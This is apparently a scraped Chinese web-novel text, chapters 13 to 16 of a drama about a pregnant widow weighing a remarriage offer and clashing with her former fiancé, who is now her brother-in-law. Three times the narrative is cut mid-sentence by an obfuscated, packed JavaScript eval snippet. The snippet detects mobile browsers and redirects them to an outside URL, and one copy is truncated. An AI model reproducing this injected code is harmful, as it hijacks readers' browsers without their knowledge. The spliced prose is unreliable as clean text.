敬渝便一只手放在餐桌上,动作轻缓地将食指指尖点在锃亮的餐桌桌面上,和坐在他右手边的宗正彼此无言,只是静静地等她来。 舒纯熙刚睡醒,简单洗把脸又漱过口,便下了楼往餐厅去,到了圆桌旁,那里已经有一把拉开的椅子,显然就是留给她的。 她走过去入了座,跟宗正颔首示意,然后又朝着右边主座上的人,默默叫了一声“大哥”。 掀起眼皮,他随意地望了她一眼就收回,应了一声“嗯”,然后沉声道: “开饭吧。” 说完,佣人便开始上菜,不一会儿,十菜两汤摆上了桌。 “家里一直吃的是中餐,不知道你习不习惯。” 自从舒纯熙回来,今天才是他们一起吃的第一顿饭。 敬渝客套了一句,率先拿起汤碗,微探身,盛了小半碗西湖牛肉羹,就近放在舒纯熙的右手边,看到她有些怔然的反应,没说什么,向后坐了回去,声音淡淡, “尝尝吧。” 舒纯熙应了一声,伸手将那碗西湖牛肉羹端到自己面前,拿了汤勺舀了上面的一点,轻飘飘地吹了一下,估摸着不那么烫了,才开始喝第一口。 敬渝已经偏头直接地看着她,目光一步一随,看着她喝下第一口后神色如常,按下微挑眉的动作,询问道: “如何?” 对面坐着的宗正没有动筷子,看着自己的视线不曾移开,身旁的人又冷不丁地发问,好像为了等她的答案,也没有动筷子。 她不得不心生疑惑,腹诽道,在遥远的蜀地,如果国家动物园里现在有一只大熊猫正在被人围观用餐,那它的感受应该跟自己现在异曲同工。 舒纯熙怀揣着异样地“嗯”了一声,手上动作停滞了一会儿,颇有深意地用眼神扫过眼前的两人,然后才又舀了一勺,用唇吹了几下,再小心地送进嘴中。 余光之中,宗正和敬渝总算都收敛起目光,拿起筷子夹了些菜,顺势将目光移到了面前的桌上。 就好像他们刚刚不曾特地观察她的反应一样。 碗筷轻碰声响起,三个人都开始吃饭。 而舒纯熙的动作却忽然停了,汤勺落入碗中发出一声沉闷的响,她一手捂住唇,另一只手将碗迅速放在了手边,起身要去抽纸。 一旁的敬渝立刻偏过身来对着她,脚上的动作颇为熟练,不知道是不是刻意练习过,将桌肚里的垃圾桶一脚给踢到了她椅子旁边,神色里立刻浮上点紧张,查看着舒纯熙的情况。 “没事吧?” 已经扔了纸巾,舒纯熙拿起盘子旁的温水喝了一口,含在嘴里,独自平复着舌头里有点麻木的灼烧感,自然没有办法回答敬渝的问题。 而宗正也早放下了手中的碗筷,目光关切,也问了一句。 “没事吧?” 舌头被烫到的人自然是没办法回答他们两个人,只是快速地摇了摇头。 没心思计较这个,敬渝仔细地看了眼她现在的脸色,将语气放得缓和些,直接道: “不合口味就不要吃了,再尝尝别的吧。” “嗯。” 眸子垂下,她盯着面前的碟子,白色的瓷上映着头顶繁复的大灯。 语罢,觉得舌头好点了,舒纯熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376261|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再管敬渝还想说什么,拿起一旁盛了小半碗五谷米饭的碗,一手执起筷子,低下头开始夹菜吃饭。 敬渝用余光留意了许久身旁人吃饭的样子,看她神色如常,应该是已经缓过来了。并且每道菜,她都夹了一点,并不挑食。 不经意间莞尔,心终于放下去一点,然后他也拿起自己身前的餐具,开始吃起饭来。 餐厅里很安静,三个人食不言,继续用餐。 舒纯熙一向胃口不大,今天的几个菜做得都精致,随便扫一眼就能看得出是营养师按照均衡饮食的方案搭配的,她就每道菜都吃了一点。 很快就饱腹感明显,她放下筷子,不再吃了。 主座上的人也紧跟着放下了筷子,转过头来问她: “还合口味么?” 舒纯熙没心思在这上面多费口舌点评。 其实她更喜欢的是重油重盐的菜系,川菜徽菜一类的,但今天的这些菜也是很用心的,她算不上最喜欢,也并不讨厌。 所以就点了一下头。 倒是敬渝及不可见地扬了扬唇角,如同一桩心事了却般,放下了心来。 对面的宗正还在喝汤,手上的汤匙在汤面优雅地拨动着,不动声色地观察着面前这两个人的相处。 暗自揣测道,看样子,敬渝还是挺紧张舒纯熙的。 莫不是昨天晚上听自己说了那么一番话,今天特意表现一番,好在自己面前证明,她真的能在敬家过得很好? 如果真是这样的话,那敬渝也还挺幼稚的。 宗正垂下头,碗里有他模糊的面部倒影,汤匙却不小心破坏了整个画面的完整性,他不禁无奈地一笑。 舒纯熙先吃完,就率先离了席,又回了她的房间。 三天的操劳下来,身体和精神的双重压力,不是睡一觉就能解决的。 她没什么精神,走过去坐在床边,将床头柜上合着的一本典藏版《追忆似水年华Ⅰ》给翻开,从里面拿出来一张被压平的纸。 巴掌大的纸,折中各有两条折痕,是那天她折起来的,现在早已经被书夹在书页里给压平了,但那些折痕却留了下来,没有消失。 上面是11位数字,应该是郑明波的私人号码。 她将纸放在手掌里,另一只手摸出手机,把号码输进了自己的电话簿。 然后将纸塞回去,手捧着手机上的那个号码,开始纠结。 换届刚刚结束,但周政的任期还剩下几个星期,要是她能在这几周内找到机会,跟他见上一面就好了。 不然等他调到别的地方去了,她再想见他应该只会更难吧。 这件事,或许郑明波能帮她。 但她始终举棋不定,毕竟郑明波虽然给了她号码,她为这样一件小事去麻烦他,未必就是一件好事。 说不定,人家还会觉得自己什么事都做不成,不堪大任。 凝视着眼前的手机,舒纯熙逐渐泄了气,还没等她真的想出个所以然来,房门隐约响了一声。 她的听力很好,应该不会听错,便摁灭手机放在一旁,起身去开门。 宗正站在门外,唇角牵起,冲她笑着,低声道: “能进去说么?” 14. 第 14 章 第十四章、 他的意思,跟舒纯熙想的不谋而合,她后退一步,让宗正进来。 宗正脚步敏捷地走进舒纯熙的房间,进来时顺手轻轻关上了门。 房间里一下变成了两个人,终究显得有点逼仄,舒纯熙就带着宗正去了阳台,往角落上的藤条沙发上相对着落座。 她搓了搓手,道: “我房间里没有准备茶,表哥将就一下吧。” 听到她的称呼,宗正鲜见地愣了一下,似是有点无所适从地笑了下,然后才习惯过来,说: “没关系,其实我来找你,是有点事要跟你说。” 舒纯熙乖巧地点点头,作出洗耳恭听的模样。 宗正不知道为什么今天总在脑子里冒出来“她其实很可爱”这个想法,人家不是说,不夸一个女人美,反而说她可爱,那就是觉得她不美,也是对对方没有一点意思的表达么? 但他又觉得这话大约说得不完全对。 他暗自把脑子里的胡思乱想给赶走,正了正神色,同她说: “纯熙表妹,你往后可有什么打算,是要长留国内,还是回波利去?” 舒纯熙这段时间都不知道听到了多少遍这个问题了,她笑着答道: “我准备先留在国内,走一步看一步吧。” “那,你是打算一直留在敬家么,还是,有再次考虑人生大事的想法?” 舒纯熙被宗正的直截了当弄得有点凝噎,她沉默了一会儿,反过来问, “表哥以为呢?” 在她把这个问题重新丢过来之后,宗正爽朗地笑了起来,也不再试探,开诚布公道: “既然表妹问我,那我也就直说了。依我看,表妹应该尽早考虑再嫁。” “怎么说?” “表妹从前在莫瑞恩尔待了两年,是无奈之举,如今既然回来,想必是心中已有成算吧。实不相瞒,据我所知,令尊令堂等人所犯之事,实则另有隐情,你此番回来,必是想找机会翻案,平反正名,是也不是?” 舒纯熙沉吟了一会儿,摇了摇头,道: “你应该知道,我怎么想,并不重要,毕竟我所想之事,未必真的可以办到。” 她言辞闪烁,实则谨慎,宗正并不气恼她的防备,接着自己的话继续往下说,道: “所以,表妹便更应该为自己寻找一个坚实可靠的盟友,比如,你的下一个夫家。” 舒纯熙轻蹙眉心,目光流转,望向眼前的男人,语调微扬: “那依表哥的意思,我应该选择哪一家,做我的下一个夫家呢?” 宗正敛了笑意,正色认真地同她说: “不瞒表妹,我此番前来,除了奔丧,还有另一桩事,便是要亲自向表妹毛遂自荐。” 宗正,宗家么? 舒纯熙有些意外,看他的神情不似作假,在他的答案里飘远了思绪。 北省宗家,根基深厚,几乎可以称得上是跟南省的敬家差不多的存在,亦是以经商发家,扶持官员门生的百年大族。 至于眼前的这个人,宗家二房的长子,她早已经在母亲口中听说过,那就是在母亲那里过了明路的,他也是那天母亲说的人中,唯一一个出身显赫的人。 但当时,她没怎么想就拒绝了母亲的提议,因为她心底有数,宗正应该看不上自己。 可是现在,这个人却真真切切地出现在了她的面前,或者说,自己送上了门来,要促成这件事。 她一时之间,既疑惑又迷茫,轻声地说道: “你应该知道,我再嫁就是二婚了。但是,你应该还没有结过婚? 而且,舒家现在的情况你应该也清楚,你为什么还想跟我结婚?” 即便是在大喇喇地谈论自己的婚姻之事,舒纯熙脸上也并没有什么异样,反而紧紧盯着宗正的脸庞,不想错过他的一丝反应。 “我确实未婚未育,这你不用担心,我既然愿意求娶,自然是心甘情愿的。 至于我宗家所求……舒家从前在海文洲,有矿山的人脉和资产,不是么?明年,宗家计划派一支商队途径海文洲进货,再转销到埃拉洲。如果舒小姐愿意帮忙,想来宗家会如虎添翼。” 所以,他们要进的货,就是海文洲矿山里挖出来的东西了。 不得不说,矿山听起来,确实是一笔诱人的生意。 海文洲矿产的生意,舒家也只是占了三成股,一举一动依旧要受多方牵制。但比起尚未打通各处关节的宗家来说,舒家确实已经在海文洲站稳了脚跟。 如果宗家真的有心开拓埃拉洲的生意,要跟海文洲的矿场牵上线,确实应该寻一位能帮他们的人。 只不过,宗家竟然能调查到这一步,最后找得到自己么? 舒纯熙摸了摸下巴,收回视线,望向身前的藤制茶几,上面盖着一张晶莹剔透的水晶挡板,倒映着天空上悠然飘着的白云。 宗家,虽然根基在北省,有些事终究鞭长莫及,但是宗家的身份地位,于她的诱人程度,应该还是高于矿山生意对于宗家的诱惑力才对。 而且,他们应该还不清楚,以前舒家正常运转的时候,她跟海文洲的生意没有半点关系,后来事发突然,她一直也没有真的亲去过海文洲接手那些事。 不过这些事她自己心里面清楚就行了,若他们仅仅是要牵线搭桥,对她来说并不算太为难。 短短一刻钟,舒纯熙就已经在心里把宗正的话翻过来滚过去地咀嚼了一遍。 而后她勾了勾唇,按下心里的思量,头歪了些许,一只手搭在膝上,另一只手抵着身下软垫,幽幽地向他来了一句, “但是你也知道,你并不是我最好的选择,不是么?” 她最好的选择,从始至终,都是她从前的未婚夫,如今的大伯哥,敬家如今的家主,敬渝。 宗正听得出她指的是谁。 只不过,这种事彼此心知肚明就罢了,舒纯熙竟然这么直接地开了口,丝毫不掩饰自己的盘算。 寡妇再嫁大伯哥,唾沫星子能淹死人,而她显然是动过这个念头的,果真不是一个被世俗规矩所约束的寻常女人。 “我知道敬总同你过去的情谊,但有一件事你或许还不清楚,昨天,我已经探过了他的口风,你可知他是怎么回答我的?” 舒纯熙不置可否,只等着他继续往下说。 “敬渝说,他自认为算得上正人君子,做不出来再娶弟妹的丑事。” 舒纯熙的面色并未有什么变化,只是极轻地挑了一下眉头。 宗正的话,其实她早有预料,如今真的听到了,也不过是印证她没有猜错敬渝而已。 所以,宗正若是试图用这种方法来切断她的后路,打压她谈判的气焰,实在是打错了主意。 她悠悠地扬了扬眉,抬起下巴,唇边的弧度透露出几分从前的狡黠与意气,道: “宗先生实在是高估了我,我与敬渝早就是前尘往事,如今更是不可能对他生出什么其他的心思,你这话实在是折煞我了。” 抿起唇,宗正轻拧双眉,听着舒纯熙立刻翻脸不认人的一番话,也只好道: “舒小姐说得极是,确实是我小人之心了。” “其实,我刚刚说的‘更好的选择’,指的是再婚一个普通男人,平静地过我的后半生。表哥觉得,我的想法怎么样?” 宗正脸上的完好的表情裂开了一角,他险些疑心自己是不是听错了,两颗浓黑的眼珠里透露出不解的神情,被她噎得一时半会儿说不出话来。 舒纯熙瞧着他的模样,笑了起来。 . 宗正走后,舒纯熙心绪不宁,在阳台上走来走去,后面更是直接下了楼,往园子里走。 她径直走到了地势最高的亭子里,坐在阑干上面,往底下的大片风景眺望。 要答应宗正吗? 她不知道。 可惜监狱的会见一个月一次,上次没有跟父亲通过气,他也没有留给自己只言片语。 至于宗正这个人…… 虽然母亲是同她提起过,她指望宗正能带她过平静的日子,但宗正和宗家,跟母亲究竟有什么样的交情,他们的想法,又真的是相同的么? 再婚与否? 与普通人结婚,还是与显赫高门联合? 终究是站队表态的大事。 想着,心里的惶恐就一齐钻了出来。 要是选错了,会不会就没有挽回的机会了,从此万劫不复,还连累狱中的亲族一同永不见天日? 这么重要的选择,她真的能够一个人来做吗? 所谓毛遂自荐的宗正究竟可信吗,葬礼那些天她见了的人,又有哪些是真实可信的呢? 不知道,不确定,舒纯熙只觉得自己好像坐在牌桌后,但手上却没有一张明牌。 她聚精会神地思索,推测,然后又颓然地垂下双肩…… 为什么非得让她一个人来想呢? 在阑干上坐回过身,没什么精神的女人低下头,看着自己紧紧并着的双膝,好像又回到了两年前的某一天。 那种惶恐和慌乱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376262|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在摸不着底的暗夜里面,连带着急切的焦虑,一直在她耳畔心头叫嚣,逼着她快点做决定,快点拿主意。 那时候,她也是一个人做的选择,到现在她都不确定,当初的那个夫家,她选对了吗? 记忆如同潮水般朝她扑来,逐渐将这个没有生志的人给淹没了。她浮沉在纷乱思绪的海里,被一张束缚的大网紧紧罩住。 终于,手往旁边一摸,摸到那能让她感到些许宽慰的烟盒,从里面拿出来一支烟,食指与中指夹住,下意识放到了嘴边。 还没有衔进嘴里,一只手就出现在了眼前,然后再是他的脚,他的双腿。 敬渝向前探身俯下去,一只手直接拽住她的手腕,让她没办法再动弹,另一只手则夺走了她手上的烟。 舒纯熙意识回笼,稍微抬了抬眼皮子,头向他转过去抬起来,仰视着他。 敬渝还穿着早上那身休闲装,下面是暗蓝色的长裤,上面是白衬衫,外面一件米色的套头毛衣。 这样的装扮,削弱了这几年他在公司里养出来的上位者的杀伐之气,还有那种疏远的精英感,反而像是一个邻家大哥哥。 很久之前,那个还属于她的邻家大哥哥。 但现在,敬渝整个人身上并没有那种温和的感受,周身散发着压抑的气场。 他夺了她的烟,又把她放在手边的烟盒跟打火机都拿在手上,四下一看,从亭子里走出去,走到不远处的一个垃圾桶面前,将从她这里没收的东西,一股脑地扔了进去。 然后那个身影又很快地走了回来,再次闯到她面前。 脑子里偏偏又响起来刚刚宗正跟自己说过的话。 “敬渝说,他自认为算得上正人君子,做不出来再娶弟妹的丑事。” 好一个正人君子。 从前她未嫁的时候,他就不愿意娶她,现在,他竟然又来怪她做过他的弟妹。 殊不知,如果不是他不愿意娶,她又怎么会去做他的弟妹? 鼻子一酸,舒纯熙维持着先前的身姿,一动不动,竟然有点想哭起来。 敬渝拧着眉站在舒纯熙的面前,看着她一脸不好的神色,声音凉下来, “你答应过我,不再抽烟的。” 眼睛果然不争气,很快泪眼朦胧了起来,泪珠在眼眶里积蓄起来,她就看不清面前的人了。 “我骗你的。” 她吸了吸鼻子,偏过头,同样冷冷地回敬过去。 敬渝听到她的回答,眉拧得更紧了,脸色也彻底冷下来。盯着眼前坐着的人的面庞,眼神一直不曾移开,好像要在这儿把她这个人给看化掉一般。 “什么时候学的抽烟,为什么要抽烟?” 舒纯熙本来不想理他,但听他问得这么理直气壮,一股气自心底拔地而起,蹿得高高的,丝毫不客气地说: “你管我什么时候学的,你管我为什么要抽烟,关你什么事?” 敬渝平复着呼吸,胸膛难得地快速起伏了几下。 几息之后,他选择将语气放得缓和一点,继续劝道: “抽烟对你和孩子都不好,总不能让孩子有个孕期还抽烟的母亲吧?” 舒纯熙没想到他会提这个,要不是他提起,她都要忘了自己是用了什么手段,才让他接自己回国来了。 是了,要不是她还怀着他堂弟的遗腹子,他能愿意接她回国么? 自嘲地勾了勾唇,舒纯熙扯出一个很是难看的假笑,仰起头跟敬渝对视。 原先眼里积蓄着的泪水就化为两颗泪滴,在她仰面的一瞬,滑了出来,顺着眼角没入发间,面上只余两条湿润的痕迹。 “这孩子要是生下来,连父亲都没有,还有心情管它母亲怀它的时候,抽不抽烟呢?” 敬渝的脸色本就差,听到这句话,肉眼可见地更阴沉了。 紧握在身侧的双拳青筋暴起,却一动不动地垂在身侧,昭示着他此时尽力克制着的怒火和脾气。 他一字一顿地跟舒纯熙说, “它还有大伯,还有母亲,还有爷爷奶奶,还有外公外婆,他还有很多的东西,不是么?” 舒纯熙站了起来,盯着敬渝此时尽力压制着情绪的样子看了一会儿,面上已经恢复平静,轻轻勾唇,带这点嘲讽地问他: “大伯? “你难道看不出来吗? “我肚子里的孩子,它压根不缺什么大伯,它现在,就只缺一个父亲。” 说完,她收回了视线,没有管敬渝还有什么反应,自顾自地走出了亭子,往下缓慢地走去。 15. 第 15 章 第十五章第二版、 第十五章、 舒纯熙的脚步声很快就消失在了身后,敬渝站在原地一动不动,就连攥拳的力度都没有一点变动,没再加重,也一丝一毫没放松。 他像是被她的那几句话狠狠地抽了一个耳光,直接将一分魂魄给打出了体外,站在亭子里入了定。 良久,当空中的日头摇下去,被远处一栋矮楼藏起来,天边也卷起来绚烂的橘红色时,他才总算挪动了一下脚步,试图往前面走一步。 但等到他走到下午时舒纯熙坐着的阑干面前,又一动不动了,只是低垂着的头盯着那块泛着漆光的木头。 上面仿佛还残存着她留下来的一点气息。 很淡,很轻,散得拢都拢不住,一伸手就会彻底飘飞。 这就是过去两年里,她留给他所有的印象的总和。 所以他总是屏息,只敢在心里默默珍视,却从不敢伸出手去搅扰。 就在昨天,他还幻想,什么时候她能像从前那时候一样,跟他好好说几句话,而不是像现在这样。 光是“不是”“嗯”“好的”这几个字,就能够囊括她所有可能的回答。 然后呢? 敬渝抬起头,望着远处的天边,火烧云美不胜收,但他却一点都欣赏不了眼前这番美景。 “不是”“嗯”“好的”“没什么”,除了这几个字,从回来到现在,她只跟他说过两次长句子。 一次是那天,她执意要去监狱见她父母。 另一次,就是今天。 唇角勾起一个自嘲的弧度,看上去似哭非笑。 敬渝转过身,也想要离开这个亭子,但脚下一踉跄,手只得撑在一根抱柱上,缓了一会儿。 然后他又想到,或许真的是他做错了吧,是他大意了。 他不应该以为敬亭能护得住她的,不应该以为敬亭能保护好他自己和舒纯熙的。 他不应该懈怠,不应该以为莫瑞恩尔会比维尔亚安全许多的,更不应该顾忌敬亭的感受,为了避嫌,没有派更多自己的人护在舒纯熙身边。 如果,如果他能早一点察觉,早一点安排人去保护他们,敬亭是不是就不会死? 敬亭不会死,她就不会失去丈夫,孩子也不会没有父亲。 她说的对,孩子根本就不缺一个大伯,孩子缺的是父亲。 敬渝缓慢得抬起双眼,两颗眼珠里灌满了空洞,迷茫得像一个没有生气的人偶。 . 到了饭点,餐桌上却只有宗正这个客人,丝毫不见敬宅任何一位主人的影子。 敬渝没有露面,李阿姨只好让人去找,但在庄园里遍寻不到。 舒纯熙也没有出现在餐厅。 下午时她上了楼,不知为何,跑到敬亭从前的房间里,把里面的东西砸得稀巴烂。 舒纯熙本就是带着一股子气走进了敬亭的房间,她还没忘了敬亭在这个房间里对她做过什么。 等她真的进来了,才发现里面的格局布置都不一样了。 华丽繁复的屏风,洛可可式的大床、吊灯,还有精巧的异形床头柜,上面的香薰、相框,巴掌大的小巧花朵灯盏,厚实软和的毛绒地毯,华美的窗帘,入目皆是她从前的审美。 她不用怎么思考,就能猜出来这是谁的手笔。 但心里面的那股火反而愈染愈烈,这房间里所有的一切都长了眼睛一般,看着她,嘲笑着她。 她站在敬亭从前的房间里面,浑身如坠冰窖,又忽然觉得自己身处火场之中,周遭的一切将她紧紧包围,迅猛灼烧着她本就为数不多的理智。 整个主楼的佣人都听得到楼上突然传来的“嘭通”一声巨响,那是化妆台被推倒的声音,镜子不堪重负,在与地面接触的瞬间碎成一个完整的轮廓。 紧接着,房间里传来一阵不停歇的“噼里啪啦”的各色响声。 窗帘被大力拽下,连带着墙上挂着的帘杆也落了地,那扇四面的屏风更是被恶狠狠地朝浴室的方向推倒在地,上面缀着的大块玛瑙水晶发出沉闷的响声。 舒纯熙猛地转过身,又走过去一脚踢翻一只高脚桌,上面的花瓶应声而碎,一枝开得正盛的辛夷花苍凉地躺在地上,被花瓶的碎片压在了下头。 相框、台灯,还有古董展示柜里一柜的精巧摆件全部被她挥落在地上。 房间里还有一个占据一整面的区欠洲式白色衣橱,舒纯熙走过去打开柜门,里面从精美的晚礼服到日常的裙子都齐备,塞满了整整三个橱厢。 她却伸出手,一股脑地将衣架上的衣服连拖带拽地砸到床上。 那华美的淡粉色真丝床品,她说怎么这么眼熟,此刻全都成了她怒火的助燃剂。 舒纯熙踩过一地狼藉,一步一个脚印地走回自己的房间,从里面拿出自己的一个备用打火机,攥在手心里走回去。 直到床上燃起火苗,刺鼻的气味和烟雾触发了屋内的烟雾警报器,一直守在门外没敢贸然进来的李阿姨才赶紧推门而入。 好说歹说地把舒纯熙给拉出了房内。 李阿姨半推半抱着将舒纯熙从房间里拉到走廊上面,后面早就严阵以待的佣人们才敢进去灭火。 舒纯熙知道这房间里的火压根烧不了多久的,这房间也是不可能被一把火烧得干干净净的。 她嘴角勾起一个惨淡又诡异的笑容。 可惜了她的绝版打火机。 . 楼上闹了那么一遭,灭了火后,李阿姨不知道舒纯熙为什么发那么大的火,一时之间也不敢贸然让人把房间都清理干净,只好让房间就那么放着。 夜半时分,敬渝才总算回来了。 李阿姨迎上来,瞄着他苍白冷淡的脸色,斟酌着向他汇报下午发生的事。 听到她说的话,敬渝的双睫只缓慢地眨动了一下,发出一个“嗯”的音节,什么都没交代,朝楼梯走去,然后一步一步走上楼,在敬亭从前的房间门口停下脚步,推门走了进去。 里面确实是一片狼藉,敬渝刚想走进去,就碰到挡住脚的一块碎木,踢开后,才走进去,又发现里面亦是几乎没办法下脚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376263|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 门没关,走廊和大厅的光照进来,他没再开灯,就站在那一道光里面,把房间里的景象都看了一遍。 身体里本就失去感知的血液,直到此时,他才知道原来还可以流得更缓慢一点。 凉意自双手而起,攥住心脏,直至五脏六腑,包裹着他一整个身体。 这房间里的每一样东西,从样式到摆放的位置,他都心如明镜,因为就是他让人去搜罗的。 他站在自己精心准备的房间里面,目光仔细地扫视辨认着地上所有的东西,第一次直面地感受到自己的可笑。 这满地的碎屑,就如同那一年他追去波利见她时,她给自己疏离陌生的答复。 现在,异地而处,却好像又一次收到了舒纯熙对他的心意的回应。 他还记得她喜欢什么样的家居和装饰,还记得她的品味,这么做,只是想让她住得高兴一点。 但她从一开始就没有选择住进来,现在,今天,更是因为对他的不满,一股脑把这里都给毁了。 她怎么会不知道这些东西都是他准备的? 或许东西本没有错,只不过,现在的他已经不再是她的品味了。 看一眼,她都愈发生恶。 她怨怪他吧? 怪他没有保护好自己的堂弟,才让她和孩子不得不经历生离死别,才让她不得不成了单亲妈妈。 一口气堵在口中,叹又叹不出口,敬渝提起沉重的步子,往外走。 到了舒纯熙房门口,他轻敲两下门,打起精神对里面说: “我想同你说几句话。” 房内的人当然没答话,屋内一点声音也没有传出来,灯也关着。 但敬渝觉得,她应该没有再睡觉。 想着,也只好沉下心,推开了门,走进去。 舒纯熙坐在床尾,面朝着阳台外面,双手抱膝而坐,床垫陷进去小小的一块儿。 月光之下,那个纤瘦的身影,看上去既孤单,又可怜。 敬渝望着她留给自己的背影,不知为何双眼涩然,一步比一步悄然,走到她身侧停了下来。 “下午你的话,我想过了。敬亭的死,我确实负有责任。事情成了现在这样,我也很抱歉。” 敬渝开口,声调微哑,一句一句慢慢地说道。他说着,目光盯着她的发顶,有些飘忽地陷到回忆里去了,忽然有点喃喃地说: “那房间里的东西,都是我让人按照你以前在舒家的房间置办的,我忘了现在你可能已经不喜欢了。砸了就砸了吧,或者你告诉我,现在你喜欢什么样的东西,你告诉我,我再让人重新去买吧。” 眼下的人依旧没有要动弹一下的意思。 他抿紧唇,手无力地在身侧抬了一下,又无力地收回来,语气更软和一点,踌躇着又对她说: “今天下午的事,是我做得不对,我不应该直接没收你的东西,而且,” 敬渝顿了一下, “我说的话也不好听,语气也不好,伤了你的心,我向你道歉,你不要因为我生气了,好么?” 16. 第 16 章 第十六章、 舒纯熙总算有了点反应,她冷笑一声,回的却是他的上一句话,头都没抬,语调冰冷又锐利,像是被踩到尾巴突然跳起来要咬人的狸花猫, “谁稀罕你那些东西?” 敬渝不说话了。 但手在腿侧很快握成拳头,不知道是想抓住什么东西,亦或还是在压抑着此刻的情绪。 在那房间里借着走廊里的灯光,看得清或者看不清的一切,都又重新占据着他的脑海,糊成了一团。 口鼻中的气息,一时间也不顺畅了起来,闷在心头,直叫他好像不能正常思考起来。 “可你以前明明是喜欢的!” 终究还是没有忍下去,沉闷的一句话从胸膛里发了出来,几乎是低吼出了这一句,掷地有声,他压着嗓子,不再刻意掩饰自己心里的愤懑,语调里面竟然还带着点不容易听出来的哀怨和委屈。 “那个缠了牵牛花的铜灯,你在一本书上看见之后就不管不顾地让我去找,我让人去找了,但是一连好几个月都没有下落。就因为这个,我去伏柳市出差,你来送我那天,还在车厢里对我扬着一张委屈巴巴的脸,就差在我面前掉眼泪了。 …… “去年八月,有海商从纽因洲回到维尔亚,带回来满满一大船的古董,在里面总算出现了那盏灯。 “你想要的东西我并没有忘记,那盏灯,我已经帮你找到了。” “还有放在展示柜里面的那些摆件,我收集了好几套函诀年代的完整绝版玩偶,还有那个金黄色的打鸣鸡音乐盒,还有小人鱼公主的水晶雕像,还有很多你以前喜欢的想要的,现在我都帮你找到了。 “那些东西,你都看过了么?” 他的问题飘落在地,只有一室月光静谧。 终于还是自嘲地一笑,敬渝有些无奈地后退了一步,摇着头,自说自话一般: “没有,你没认真看过,你反而把东西都砸了,你还要把整个房间都给烧了……” 那些东西,他唯一敢寄托在里面的那么一点心意,就那样轻而易举地被她给毁了。 她就这么践踏他的心意。 舒纯熙你到底为什么这么对我?你怎么能这么绝情呢? 你在我面前说过的话,哪件事我没有放在心上,唯一一次没有顺着你的意思来,你立刻就转身嫁了别人。 那我怎么办? 敬渝摇着头,突然觉得现在他不应该再待在这里,这不是一个说话的好时候,他的心太乱了也太委屈了。 他知道她始终怨恨当年他的沉默,以至于到现在也不给他一个好脸色。 但他也想跪在她脚边问问她,为什么那时候就那么绝情,他们那么多年的感情,他又怎么会不管她,她到底为什么不相信他? 但她连一个解释都没要求,也压根没给他解释的机会。 那段时间他忙得焦头烂额,一面商会一面舒家,还要压着敬家的人不乱来,等他好不容易稳定了局势的时候,她都在莫瑞恩尔跟敬亭结婚了! 他还一直都想问问她,当初怎么能抽身得那么爽快,怎么能就这样把自己给抛弃了呢?! 此后,她跟敬亭成双入对、羡煞旁人,他倒成了个彻头彻尾格格不入的旁观者。 每一次面对他们两个,他的心都在滴血啊。 脑子里的思绪纷乱地涌来,像是要在这一刻把过往所有压抑着的东西都给带出来,把心里面那些负面的情绪给放大数百倍。 敬渝抿着唇,面色铁青地转了身,快步地离开了舒纯熙的房间,脚步很快地下了楼。 . 书房里只亮着一盏小灯,是沙发旁一只小几上的弧形台灯。淡黄色的灯光黯淡,给房间里的一切都罩上了一层朦胧与幽暗。 敬渝倚在沙发背上,面上没有一点生气,直愣愣地睁着双眼,一动不动。 月落日升,天光逐渐从窗外照进屋内,逐渐地跟那盏小灯散发出的幽光融合在一起。 今天本该是去公司的日子,但已经过了寻常出门的时间,敬渝也没有动身。 郑徽当然也是在书房找到的敬渝,在他的生活里,待在书房里的时间恐怕是比卧室还要久。 但此时这个男人却并不是在书房里处理工作,相反,他整个人摊在沙发上,旁边是倒了两三个空了的酒瓶。 波尔文市的特色烈酒,酒香醇厚,后劲儿很大,一向都是搭配着果汁饮料调配在一起喝的。 但敬渝一向是没有赏酒的闲情的,郑徽皱着眉朝他走近,目光扫过地下的酒瓶样式才收回来,落在紧皱眉心、双眼难耐地闭合上的男人脸上。 一夜过去,他下巴上的胡茬已又窜出来,隐隐看得见一片淡青。 但这张脸的主人完全没有要打理它的意思,反而颓废地躺在沙发上,无精打采,失魂落魄。 郑徽将路上的一只酒瓶踢进茶几肚里,清开了路,走过去站在他身旁,抽了抽嘴,问: “敬总,你还好吗?” 他还好吗? 敬渝没睡着,没有睡着也没有醉得意识不清,甚至郑徽进来的时候,他也能听得见动静,但他只是累得不想睁眼而已。 对啊,他还好吗? 他也答不上来,光是用力地牵起嘴角,摆出一个云淡风轻的笑容,就已经要用去他所有的力气了。 “车在外面等,需要我取消今天所有的行程吗?” 耳边那个声音又从自上方传过来。 “不用……” 终于,敬渝张开了嘴,嗓子却哑得厉害,里面火烧烧地在疼, “我休息一会儿,下午再去公司。” “好的,我会安排好的。” 